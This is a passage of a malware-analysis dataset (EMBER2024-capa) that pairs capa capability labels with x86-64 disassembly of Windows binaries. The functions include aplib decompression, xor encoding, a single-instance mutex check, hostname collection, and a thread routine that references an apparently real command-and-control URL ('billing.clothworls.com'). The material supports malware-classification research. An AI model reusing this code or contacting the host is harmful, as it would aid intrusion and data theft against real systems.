joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400029a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400029cd
xor eax, eax
jmp 0x140002b39
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002a07
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002a07
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002b39
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140002b2c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002a4a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002a75
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002b31
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002ae4
sub eax, 1
je 0x140002ae4
cmp eax, 2
jne 0x140002b2c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002b31
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002b12
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140002b2c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002b31
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003510
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140003060
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140003133
cmp byte [rcx + 0x71], 0
je 0x140003133
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000312f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400030f4
sub eax, 1
je 0x1400030f8
cmp eax, 2
jne 0x14000312f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003510
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003126
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000312f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400030dc
xor al, al
jmp 0x1400030dc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003510
add rsp, 0x60
pop rbx
ret

Function at 0x140003e88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003ed2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003ed2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003ed2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003ed2
cmp dword [rcx + 0x84], 0xe
jbe 0x140003ed2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003ed4
xor al, al
add rsp, 0x28
ret
Function at 0x180684058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1806841df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180684089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18068406f
add dl, dl
jne 0x180684096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1806840f6
xor eax, eax
add dl, dl
jne 0x1806840a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1806841ad
add dl, dl
jne 0x1806840b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806840c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806840d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806840dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1806840ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18068407e
mov eax, 1
add dl, dl
jne 0x180684106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180684113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1806840fb
sub eax, ebx
mov ebx, 1
jne 0x18068414c
mov ecx, 1
add dl, dl
jne 0x18068412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18068413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180684123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18068407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180684168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180684175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18068415d
cmp eax, 0x7d00
jae 0x18068419b
cmp eax, 0x500
jb 0x180684196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18068407e
cmp eax, 0x7f
ja 0x18068419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18068407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1806841d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18068407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001133e
Capabilities:
Terminate process

Disassembly:
jmp 0x1400162b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001140b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017600
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017620
xor al, al
jmp 0x1400176a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017633
xor al, al
jmp 0x1400176a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001765d
xor al, al
jmp 0x1400176a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017671
xor al, al
jmp 0x1400176a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017683
xor al, al
jmp 0x1400176a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001769f
xor al, al
jmp 0x1400176a1
mov al, 1
add rsp, 0x38
ret
Function at 0x180001630
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x3f8]
sub rsp, 0x4e0
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x180028020]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
mov r12, rcx
mov qword [rsp + 0x78], rcx
add rcx, 0x10
call fcn.180005cb0
lea rcx, [r12 + 0x40]
call qword [sym.imp.KERNEL32.dll_InitializeSRWLock]
lea rcx, [r12 + 0x48]
call qword [sym.imp.KERNEL32.dll_InitializeConditionVariable]
nop
lea rcx, [r12 + 0x50]
call fcn.180005150
nop
lea rcx, [r12 + 0x70]
call fcn.1800052a0
nop
lea rcx, [r12 + 0x90]
call fcn.180005400
nop
mov qword [r12 + 0xb8], 0
mov byte [r12], 0
mov byte [rbp + 0x390], 0
xor eax, eax
mov qword [rbp + 0x391], rax
mov qword [rbp + 0x399], rax
mov qword [rbp + 0x3a1], rax
mov qword [rbp + 0x3a9], rax
mov qword [rbp + 0x3b1], rax
mov qword [rbp + 0x3b9], rax
mov qword [rbp + 0x3c1], rax
mov dword [rbp + 0x3c9], eax
mov word [rbp + 0x3cd], ax
mov byte [rbp + 0x3cf], al
lea rcx, [rbp - 0x80]
call qword [sym.imp.ole32.dll_CoCreateGuid]
movzx r11d, byte [rbp - 0x71]
movzx eax, byte [rbp - 0x72]
movzx ecx, byte [rbp - 0x73]
movzx edx, byte [rbp - 0x74]
movzx r8d, byte [rbp - 0x75]
movzx r10d, byte [rbp - 0x76]
movzx ebx, byte [rbp - 0x77]
movzx edi, byte [rbp - 0x78]
movzx esi, word [rbp - 0x7a]
movzx r9d, word [rbp - 0x7c]
mov dword [rsp + 0x60], r11d
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x48], edx
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x38], r10d
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], esi
mov r8d, dword [rbp - 0x80]
lea rdx, str._08x_04x_04x_02x_02x_02x_02x_02x_02x_02x_02x
lea rcx, [rbp + 0x390]
call fcn.18000e770
movsxd rcx, eax
lea r10, [rbp + rcx + 0x390]
mov byte [r10], 0
xor edx, edx
lea r8, [rbp - 0x70]
nop word [rax + rax]
mov eax, edx
mov ecx, 8
test al, 1
je 0x1800017b4
shr eax, 1
xor eax, 0xedb88320
jmp 0x1800017b6
shr eax, 1
dec rcx
jne 0x1800017a7
mov dword [r8], eax
inc edx
add r8, 4
cmp edx, 0x100
jl 0x1800017a0
or r8d, 0xffffffff
lea r9, [rbp + 0x390]
lea rax, [rbp + 0x390]
cmp rax, r10
jae 0x180001811
nop word [rax + rax]
movsx eax, byte [r9]
movzx edx, r8b
xor rdx, rax
mov eax, r8d
shr eax, 8
mov r8d, dword [rbp + rdx*4 - 0x70]
xor r8d, eax
inc r9
cmp r9, r10
jb 0x1800017f0
not r8d
mov dword [r12 + 4], r8d
mov ecx, 0x5c
call fcn.18000eb24
mov rbx, rax
test rax, rax
je 0x18000183b
xor edx, edx
lea r8d, [rdx + 0x5c]
mov rcx, rax
call fcn.180010bb0
jmp 0x18000183d
xor ebx, ebx
mov qword [r12 + 0xb8], rbx
xor edx, edx
lea r8d, [rdx + 0x5c]
mov rcx, rbx
call fcn.180010bb0
nop
mov rax, r12
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.18000e750
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x180003ad0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov qword [rcx + 8], rdx
mov qword [rcx + 0xb0], r8
mov rbx, rcx
mov rcx, qword [rcx + 0xb8]
mov rdx, r8
mov r8d, 0x5c
call fcn.18000ee60
xor eax, eax
lea r8, [0x180001620]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov byte [rbx], 1
mov dword [rsp + 0x20], eax
call fcn.18000f26c
test rax, rax
jne 0x180003b2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rbx], 0
add rsp, 0x30
pop rbx
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r11, qword [rbx + 0xb0]
mov rcx, qword [rbx + 8]
mov eax, dword [r11]
lea rdx, str.https:__billing.clothworls.com_index.php
mov dword [rcx + 0x30], eax
mov rax, qword [rbx + 0xb0]
mov rcx, qword [rbx + 8]
mov eax, dword [rax + 4]
mov dword [rcx + 0x34], eax
mov rax, qword [rbx + 0xb0]
mov rcx, qword [rbx + 8]
mov eax, dword [rax + 8]
mov dword [rcx + 0x38], eax
mov rax, qword [rbx + 0xb0]
mov rcx, qword [rbx + 8]
mov eax, dword [rax + 0xc]
mov dword [rcx + 0x3c], eax
mov rax, qword [rbx + 8]
lea rcx, [0x1800033d0]
mov qword [rax + 0x10], rcx
mov rax, qword [rbx + 8]
lea rcx, [0x1800033e0]
mov qword [rax + 0x18], rcx
mov rax, qword [rbx + 8]
lea rcx, [0x180003640]
mov qword [rax + 0x20], rcx
mov rax, qword [rbx + 8]
lea rcx, [0x180003a40]
mov qword [rax + 0x28], rcx
mov rcx, qword [rbx + 8]
mov r8d, dword [rbx + 4]
mov rax, qword [rcx]
call qword [rax + 8]
mov byte [rbx], 0
add rsp, 0x30
pop rbx
ret

Function at 0x180009150
Capabilities:
Check mutex on windows
Get hostname

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x80
mov rax, qword [0x180028020]
xor rax, rsp
mov qword [rsp + 0x70], rax
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x1800295f0]
repne scasb al, byte [rdi]
not rcx
dec rcx
je 0x1800091df
mov byte [rsp + 0x30], al
mov qword [r11 - 0x57], rax
mov qword [r11 - 0x4f], rax
mov qword [r11 - 0x47], rax
mov qword [r11 - 0x3f], rax
mov qword [r11 - 0x37], rax
mov qword [r11 - 0x2f], rax
mov qword [r11 - 0x27], rax
lea rdx, [r11 - 0x68]
lea rcx, [r11 - 0x58]
mov dword [rsp + 0x69], eax
mov word [rsp + 0x6d], ax
mov byte [rsp + 0x6f], al
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x1800091df
lea rcx, [rsp + 0x30]
call fcn.180001050
test rax, rax
jne 0x1800091df
xor ecx, ecx
call fcn.18000f730
int3
lea r8, str.89177680X
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov rdi, rax
test rax, rax
jne 0x180009214
lea r8, str.89177680X
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rdi, rax
test rax, rax
je 0x18000923d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x18000923d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.18000f730
int3
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.18000e750
add rsp, 0x80
pop rdi
ret
Function at 0x180009670
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x180028020]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbp, rcx
mov rsi, r8
mov rdi, rdx
mov ebx, 0x58
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, ebx
call fcn.180010bb0
xor r11d, r11d
mov dword [rsp + 0x28], 0x67452301
mov dword [rsp + 0x2c], 0xefcdab89
mov dword [rsp + 0x30], 0x98badcfe
mov dword [rsp + 0x34], 0x10325476
mov qword [rsp + 0x20], r11
test rdi, rdi
je 0x1800096eb
lea rcx, [rsp + 0x20]
mov r8, rdi
mov rdx, rbp
call fcn.1800093a0
lea rcx, [rsp + 0x20]
mov rdx, rsi
call fcn.180009480
lea rax, [rsp + 0x20]
nop dword [rax]
mov byte [rax], 0
inc rax
dec rbx
jne 0x180009700
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.18000e750
mov rbx, qword [rsp + 0xc8]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
Function at 0x180009730
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rdi
push r12
push r13
push r14
sub rsp, 0x338
mov rax, qword [0x180028020]
xor rax, rsp
mov qword [rsp + 0x320], rax
mov r14, qword [rsp + 0x390]
mov r13, qword [rsp + 0x398]
mov eax, r9d
and eax, 0x80000007
mov r10, r8
mov rbp, rcx
jge 0x18000977a
dec eax
or eax, 0xfffffff8
inc eax
mov ebx, 8
sub bl, al
movsx edi, bl
lea r12d, [rdi + r9]
cmp edx, r12d
jge 0x180009795
or eax, 0xffffffff
jmp 0x18000994b
mov qword [rsp + 0x330], rsi
movsxd rsi, r9d
mov rdx, r10
mov r8, rsi
call fcn.18000ee60
test edi, edi
jle 0x1800097be
lea rcx, [rsi + rbp]
mov r8d, edi
movzx edx, bl
call fcn.180010bb0
mov edi, 0x180
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, edi
call fcn.180010bb0
lea rcx, [rsp + 0x20]
mov rdx, r13
call fcn.18000a120
lea rdx, [r13 + 8]
lea rcx, [rsp + 0x220]
call fcn.18000a120
xor r11d, r11d
lea r9d, [r11 + 0x10]
mov r8d, r11d
nop word [rax + rax]
mov edx, dword [rsp + r11 + 0x98]
mov ecx, dword [rsp + r11 + 0x9c]
add r8, 8
mov dword [rsp + r8 + 0x198], edx
mov dword [rsp + r8 + 0x19c], ecx
mov eax, dword [rsp + r11 + 0x298]
mov dword [rsp + r8 + 0x98], eax
mov eax, dword [rsp + r11 + 0x29c]
mov dword [rsp + r8 + 0x298], edx
mov dword [rsp + r8 + 0x9c], eax
mov eax, dword [rsp + r8 + 0x18]
mov dword [rsp + r8 + 0x29c], ecx
mov dword [rsp + r8 + 0x118], eax
mov eax, dword [rsp + r8 + 0x1c]
sub r11, 8
dec r9
mov dword [rsp + r8 + 0x11c], eax
jne 0x180009800
mov rax, rdi
lea rcx, [rsp + 0x1a0]
mov byte [rcx], 0
inc rcx
dec rax
jne 0x180009882
movsxd rax, r12d
test al, 7
jne 0x180009930
test r12d, r12d
je 0x180009911
lea rsi, [rax - 1]
add rbp, 2
shr rsi, 3
inc rsi
nop dword [rax]
movzx eax, byte [r14]
lea r8, [rbp - 2]
lea rdx, [rbp - 2]
xor byte [rbp - 2], al
movzx eax, byte [r14 + 1]
lea rcx, [rsp + 0x20]
xor byte [rbp - 1], al
movzx eax, byte [r14 + 2]
xor byte [rbp], al
movzx eax, byte [r14 + 3]
xor byte [rbp + 1], al
movzx eax, byte [r14 + 4]
xor byte [rbp + 2], al
movzx eax, byte [r14 + 5]
xor byte [rbp + 3], al
movzx eax, byte [r14 + 6]
xor byte [rbp + 4], al
movzx eax, byte [r14 + 7]
xor byte [rbp + 5], al
call fcn.18000a5c0
mov r11, qword [rbp - 2]
add rbp, 8
dec rsi
mov qword [r14], r11
jne 0x1800098b0
lea rcx, [rsp + 0x20]
nop word [rax + rax]
mov byte [rcx], 0
inc rcx
dec rdi
jne 0x180009920
mov eax, r12d
jmp 0x180009943
lea rax, [rsp + 0x20]
mov byte [rax], 0
inc rax
dec rdi
jne 0x180009935
or eax, 0xffffffff
mov rsi, qword [rsp + 0x330]
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.18000e750
add rsp, 0x338
pop r14
pop r13
pop r12
pop rdi
pop rbp
pop rbx
ret
Function at 0x180009970
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rdi
push r15
sub rsp, 0x358
mov rax, qword [0x180028020]
xor rax, rsp
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x3a0]
mov rbx, qword [rsp + 0x3a8]
movsxd rbp, r9d
mov qword [rsp + 0x20], rax
mov eax, ebp
mov rdi, r8
and eax, 0x80000007
mov r15, rcx
jge 0x1800099bd
dec eax
or eax, 0xfffffff8
inc eax
test eax, eax
jne 0x180009bd0
cmp edx, ebp
jl 0x180009bd0
mov qword [rsp + 0x388], rsi
mov esi, 0x180
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, esi
mov qword [rsp + 0x350], r12
call fcn.180010bb0
lea rcx, [rsp + 0x1b0]
mov rdx, rbx
call fcn.18000a120
lea rdx, [rbx + 8]
lea rcx, [rsp + 0xb0]
call fcn.18000a120
xor r11d, r11d
lea r9d, [r11 + 0x10]
mov r8d, r11d
nop dword [rax]
mov edx, dword [rsp + r11 + 0x228]
mov ecx, dword [rsp + r11 + 0x22c]
add r8, 8
mov dword [rsp + r8 + 0x28], edx
mov dword [rsp + r8 + 0x2c], ecx
mov eax, dword [rsp + r11 + 0x128]
mov dword [rsp + r8 + 0x228], eax
mov eax, dword [rsp + r11 + 0x12c]
mov dword [rsp + r8 + 0x128], edx
mov dword [rsp + r8 + 0x22c], eax
mov eax, dword [rsp + r8 + 0x1a8]
mov dword [rsp + r8 + 0x12c], ecx
mov dword [rsp + r8 + 0x2a8], eax
mov eax, dword [rsp + r8 + 0x1ac]
sub r11, 8
dec r9
mov dword [rsp + r8 + 0x2ac], eax
jne 0x180009a20
mov rax, rsi
lea rcx, [rsp + 0x1b0]
mov byte [rcx], 0
inc rcx
dec rax
jne 0x180009aa2
mov r12, rbp
test bpl, 7
jne 0x180009bb3
test ebp, ebp
je 0x180009b6c
mov rsi, qword [rsp + 0x20]
mov qword [rsp + 0x348], r13
mov qword [rsp + 0x340], r14
sub rdi, r15
lea r14, [rbp - 1]
lea r13, [r15 + 1]
shr r14, 3
mov r12, rdi
inc r14
nop dword [rax]
mov rbx, qword [r12 + r13 - 1]
lea rdx, [r12 + r13 - 1]
lea r8, [r13 - 1]
lea rcx, [rsp + 0x30]
call fcn.18000a5c0
movzx r11d, byte [rsi]
add r13, 8
xor byte [r13 - 9], r11b
movzx eax, byte [rsi + 1]
xor byte [r13 - 8], al
movzx eax, byte [rsi + 2]
xor byte [r13 - 7], al
movzx eax, byte [rsi + 3]
xor byte [r13 - 6], al
movzx eax, byte [rsi + 4]
xor byte [r13 - 5], al
movzx eax, byte [rsi + 5]
xor byte [r13 - 4], al
movzx eax, byte [rsi + 6]
xor byte [r13 - 3], al
movzx eax, byte [rsi + 7]
xor byte [r13 - 2], al
dec r14
mov qword [rsi], rbx
jne 0x180009af0
mov r14, qword [rsp + 0x340]
mov r13, qword [rsp + 0x348]
mov esi, 0x180
mov r12, rbp
lea rax, [rsp + 0x30]
mov byte [rax], 0
inc rax
dec rsi
jne 0x180009b71
movzx eax, byte [r12 + r15 - 1]
sub ebp, eax
mov eax, ebp
mov rsi, qword [rsp + 0x388]
mov r12, qword [rsp + 0x350]
mov rcx, qword [rsp + 0x330]
xor rcx, rsp
call fcn.18000e750
add rsp, 0x358
pop r15
pop rdi
pop rbp
pop rbx
ret
lea rax, [rsp + 0x30]
nop dword [rax + rax]
mov byte [rax], 0
inc rax
dec rsi
jne 0x180009bc0
or eax, 0xffffffff
jmp 0x180009b86
or eax, 0xffffffff
jmp 0x180009b96
Function at 0x18000b6c0
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x180028020]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbp, rcx
mov rsi, r8
mov rdi, rdx
mov ebx, 0x58
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, ebx
call fcn.180010bb0
xor r11d, r11d
mov dword [rsp + 0x28], 0x67452301
mov dword [rsp + 0x2c], 0xefcdab89
mov dword [rsp + 0x30], 0x98badcfe
mov dword [rsp + 0x34], 0x10325476
mov qword [rsp + 0x20], r11
test rdi, rdi
je 0x18000b73b
lea rcx, [rsp + 0x20]
mov r8, rdi
mov rdx, rbp
call fcn.1800093a0
lea rcx, [rsp + 0x20]
mov rdx, rsi
call fcn.18000b4d0
lea rax, [rsp + 0x20]
nop dword [rax]
mov byte [rax], 0
inc rax
dec rbx
jne 0x18000b750
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.18000e750
mov rbx, qword [rsp + 0xc8]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret

Function at 0x18000b8e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x180028020]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dword [rcx + 8], r8d
mov r8, rdx
mov rdi, rcx
lea rdx, [0x180023290]
add rcx, 0x88
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, dword [rdi + 8]
xor eax, eax
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x30], 0
mov qword [rsp + 0x31], rax
mov qword [rsp + 0x39], rax
mov qword [rsp + 0x41], rax
mov qword [rsp + 0x49], rax
call fcn.18000d6d0
lea r8, [rsp + 0x30]
lea rdx, [0x180023290]
lea rcx, [rdi + 0x288]
call qword [sym.imp.USER32.dll_wsprintfW]
xor esi, esi
lea r8, [rdi + 0x288]
movsxd rcx, eax
mov word [rdi + rcx*2 + 0x288], si
mov edx, dword [rdi + 8]
lea rcx, str.pid_u_sessid_s_n
call fcn.1800192b8
lea r8, [0x18000b850]
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov byte [rdi + 0x40], 1
mov dword [rsp + 0x20], esi
call fcn.18000f26c
test rax, rax
jne 0x18000b9ab
mov byte [rdi + 0x40], sil
jmp 0x18000b9bc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.18000bb30
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18000e750
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18000f730
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.18000f5a0

Function at 0x18000fad7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x180028020]
jne 0x18000e76a
rol rcx, 0x10
test cx, 0xffff
jne 0x18000e766
repz ret
ror rcx, 0x10
jmp 0x18000fa30
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180029a20]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180029b18]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18000fab5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
